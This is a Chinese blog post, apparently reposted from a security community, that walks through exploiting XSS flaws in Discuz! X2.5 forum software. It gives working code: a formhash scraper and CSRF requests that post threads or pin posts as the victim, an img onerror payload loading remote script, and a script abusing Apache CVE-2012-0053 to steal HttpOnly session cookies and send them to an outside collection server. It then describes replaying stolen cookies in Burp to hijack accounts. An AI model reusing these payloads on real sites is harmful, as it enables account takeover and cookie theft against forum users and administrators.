最新消息:

Discuz xss利用演示 与XSS利用:discuz X2.5跨站漏洞利用方法分析

xss admin 5652浏览 0评论

Crossday Discuz! Board(简称 Discuz!)是北京康盛新创科技有限责任公司推出的一套通用的社区论坛软件系统。自2001年6月面世以来,Discuz!已拥有11年以上的应用历 史和200多万网站用户案例,是全球成熟度最高、覆盖率最大的论坛软件系统之一。目前最新版本Discuz! X2.5正式版于2012年4月7日发布,首次引入应用中心的开发模式。2010年8月23日,康盛创想与腾讯达成收购协议,成为腾讯的全资子公司。

作为国内最大的社区软件及服务提供商,Comsenz旗下的 Discuz! 开发组具有丰富的 web 应用程序设计经验,尤其在论坛产品及相关领域,经过长期创新性开发,掌握了一整套从算法,数据结构到产品安全性方面的领先技术。使得 Discuz! 无论在稳定性,负载能力,安全保障等方面都居于国内外同类产品领先地位
Discuz! 论坛软件系统项目起始于 2001 年底,初创时名称为 CDB,是一名大二学生戴志康借鉴国外同期技术,以技术研究为目的,利用业余时间完成的一个免费软件。因较快的升级与完善速度,CDB 于 2002 年初开始拥有了最早的一批用户。作者在技术学习和研究的同时,积极采纳来自最终用户的使用反馈,在用户的理解与支持下,CDB 作为一个相对起步较晚的论坛软件项目,取得了相对一个初创软件项目来说较快的进展,并实现了初期的网络协作开发模式。
本文重点在于discuz xss的利用, exploit是前几天疯子发的(http://www.wooyun.org/bugs/wooyun-2010-015312) 积分转账的xss漏洞,貌似利用有点鸡肋(=.=).
Discuz formhash 简单分析
熟悉discuz的都知道,formhash是一种类似验证码的东西,用来防止从我们网站外部提交数据,但不需要我们手动输入,它在页面打开时就已经生成了,存在一需要提交数据用到的地方的隐藏input里(比如登录、发布文章)。
例如发帖页面页面模板
<inputtype=”hidden” name=”formhash” id=”formhash” value=”{FORMHASH}” />
其相应服务端验证代码
if (submitcheck(‘formhash’)) {
我们来看这货的生成算法
20121206114758670
substr(md5(substr($_G[‘timestamp’], 0, -7).$_G[‘username’].$_G[‘uid’].$_G[‘authkey’].$hashadd.$specialadd), 8, 8);
时间戳前3位,大概是 100多天的样子,也就是说这货对于同一人来说 100 天内是不变的.
获取 formhash
当我们进行csrf操作时,首先得获取目标的 formhash,例如用户这里的提醒xss
20121206114758314
http://www.2cto.com /home.php?mod=space&do=notice&isread=1
截取出来即可
 var hash;
function  getHash(){
   for(var i=0; i<document.links.length; i++)
          {
     if(document.links[i].href.indexOf(“action=logout&formhash=”)>0)
          {
     hash=document.links[i].href;
          hash=hash.substr(hash.length-8,hash.length);
          break;
          } } }
Csrf代码编写
得到了formhash就简单了 只要抓取各种 post包即可做各种猥琐事情了 ,这里笔者用了个
兼容的ajax库(截取自jquery中的 ajax代码)
x = window.x || {
          request: function() {
                    if (window.XMLHttpRequest) {
                               var ajax = new XMLHttpRequest()
                    } else if (window.ActiveXObject) {
                               try {
                                         var ajax = new ActiveXObject(“Msxml2.XMLHTTP”)
                               } catch(e) {
                                         try {
                                                   var ajax = new ActiveXObject(“Microsoft.XMLHTTP”)
                                         } catch(e) {}
                               }
                    }
                    return ajax
          },
          handle: function(ajax, callback) {
                    ajax.onreadystatechange = function() {
                               if (ajax.readyState == 4) {
                                         if (ajax.status == 200) {
                                                   callback(ajax.responseText)
                                         }
                               }
                    }
          },
     display:function(o){
     if(typeof(o)==’object’){
         var str=”;
         for(a in o){
             str+=a+’=’+o[a]+’&’;
         }
         str=str.substr(0,str.length-1);
         return str;
     }else{
         return o;
     }
    },
          get: function(url, callback) {
                    ajax = x.request();
                    ajax.open(‘get’, url, true);
                    ajax.send(null);
                    x.handle(ajax, callback)
          },
          post: function(url, content, callback) {
                    ajax = x.request();
                    ajax.open(‘post’, url, true);
                    ajax.setRequestHeader(‘Content-Type’, ‘application/x-www-form-urlencoded’);
        content=x.display(content);
                    ajax.send(content);
                    x.handle(ajax, callback)
          },
}
发帖操作
x.post(“forum.php?mod=post&action=newthread&fid=2&extra=&topicsubmit=yes”,”formhash=”+hash+”&posttime=1353989838&wysiwyg=1&subject=title&message=aaaaaaaaaaaaaaaa%0D%0A&replycredit_extcredits=0&replycredit_times=1&replycredit_membertimes=1&replycredit_random=100&readperm=&price=&tags=test&rushreplyfrom=&rushreplyto=&rewardfloor=&stopfloor=&creditlimit=&save=&adddynamic=true&usesig=1&allownoticeauthor=1″);
置顶帖子
x.post(“forum.php?mod=topicadmin&action=moderate&optgroup=1&modsubmit=yes&infloat=yes&inajax=1″,”frommodcp=&formhash=”+hash+”&fid=2&redirect=&listextra=page%3D1&handlekey=mods&moderate[]=12&operations[]=stick&sticklevel=3&expirationstick=&digestlevel=0&expirationdigest=&highlight_color=0&highlight_style[1]=0&highlight_style[2]=0&highlight_style[3]=0&expirationhighlight=&reason=”);
视频地址:http://www.2cto.com/soft/201212/35794.html

演示视频:http://v.youku.com/v_show/id_XNDg0NDg2MjU2.html 高清无码:http://pan.baidu.com/share/link?shareid=136314&uk=587894688 附件下载:http://yaseng.me/wp-content/uploads/2012/12/Csrf-hijacking-admin-demo.rar ps1:zone里面可能排版不太好 有性趣下载附件吧 ps2:其余动作读者可以抓包自行测试之 ps3:如果管理员同时登陆了后台还可以权限提升或者直接getshell 摘自:http://zone.wooyun.org/content/1841

0×01 无法用获取的COOKIE登录分析

都说DISCUZ X2.5(以下简称DZ25)的COOKIE拿到了也没有办法登录,但是为什么呢?今天就来简单的看一下,我们登录一个DZ25的站,登陆之后看下COOKIE 20133261324813531 在里面我们翻下,就会发现一个HTTPONLY的字段,还是AUTH,也就是登录用户,所以当然无法直接搞到完整COOKIE,残缺的COOKIE自然无法登录 20133261331367925

0×02 获取完整COOKIE条件分析

大家知道,HTTPONLY是专门用来防止XSS的,但是不要直接放弃,我们知道低版本的AJAX利用TRANCE方法和APACHE有一个CVE-2012-0053漏洞,均可以获取HTTPONLY的COOKIE 文章链接: 那么我们利用的条件就清晰了:

  1. 低版本的浏览器
  2. “或者”APACHE服务器没有补CVE-2012-0053

0×03 DZ25跨站分析

我在DZ官网下载了最新的DZ25,发现唯一没有补的洞就是在描述中插入XSS 201332613223324 这样,当点击图片时候,就会触发XSS,如下 201332613223736 当然,只是ALERT是不够的,为了触发漏洞,我们必须引用外部的JS文件,因为无论哪个条件,都需要一段AJAX脚本 如果直接引用<script src=’http://www.xxx.com/1.js’></script>会发现无法加载 201332613223176 (因为与本文关系不大,为什么不能加载这里我就不写分析了) 那怎么办呢? 不要忘了,我们还有IMG标签 我们可以使用:

<img src=x onerror=”var s=createElement(‘script’);document.body.appendChild(s);s.src=’http://localhost/1.js’;”>

这样的代码来创建一个body里面的script(为什么要这样写我就不说了,总之是这样的)

但是写进去后我们发现,太长了……是的被DZ25截断了

201332613223692 那我们来改一改,将不需要的去掉,地址换成短网址结果如下:

<img src=x onerror=s=createElement(‘script’);body.appendChild(s);s.src=’http://t.cn/z12345G’;>

插入之后刚刚好

201332613223535

加载下试试

201332613223658 201332613223867

至此,我们已经可以让dz加载外部的js了

0×04 JS编写

这个我就给个样本吧,大家改改就是了

这是触发apache漏洞的样本
查看源代码
 makeRequest();

 function setCookies (good) { 

 var str = “”; 

 for (var i=0; i< 819; i++) { 

 str += “x”; 

 }
 for (i = 0; i < 10; i++) { 

 if (good) { 

 var cookie = “xss”+i+”=;expires=”+new Date(+new Date()-1). 

 toUTCString()+”; path=/;”; 

 }

 else { 

 var cookie = “xss”+i+”=”+str+”;path=/”; 

 }

 document.cookie = cookie; 

 }

 }

 function makeRequest() { 

 setCookies();

 function parseCookies () { 

 var cookie_dict = {}; 

 if (xhr.readyState === 4 && xhr.status === 400) { 
var content = xhr.responseText.replace(/\r�\n/g,”).match 

 (/
 (.+)<\/pre>/); 

 if (content.length) { 

 content = content[1].replace(“Cookie: “, “”); 

 var cookies = content.replace(/xss\d=x+;?/g, ”).split(/;/g); 

 for (var i=0; i 
 var s_c = cookies[i].split(‘=’,2); 

 cookie_dict[s_c[0]] = s_c[1]; 

 }

 }

 setCookies(true);

 var x=new Image(); 

 try

 {

 var myopener=”; 
  myopener=window.opener && window.opener.location?window.opener.location:”; 

 }

 catch(err)

 {

 }

 x.src=’http:// www.xxx.com /save.php?opener=’+JSON.stringify(cookie_dict); 

 }

 }

 var xhr = new XMLHttpRequest(); 

 xhr.onreadystatechange = parseCookies; 

 xhr.open(“GET”, “httponly.php”, true); 

 xhr.send(null);

 }

0×04 COOKIE搜集

我们来看看得到的COOKIE

自己写的……界面比较丑……

可以看到,AUTH字段很好的被包裹了进去

201332613223693

但是,这是JSON格式的,我们还要做点处理,

1.将”全部去掉

2.将:换成=

3.将,换成;

最终得到如下:

201332613223528

0×05 登录

我们打开BURP,这个东西是个神器,不用我说大家都会用吧?

选上cookie然后点edit

然后UPDATE一下

2013326134448638

之后设置代理为burp,burp就会自动替换头中的cookie字段

然后看下效果~~~

201332613224780

转载请注明:jinglingshu的博客 » Discuz xss利用演示 与XSS利用:discuz X2.5跨站漏洞利用方法分析

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址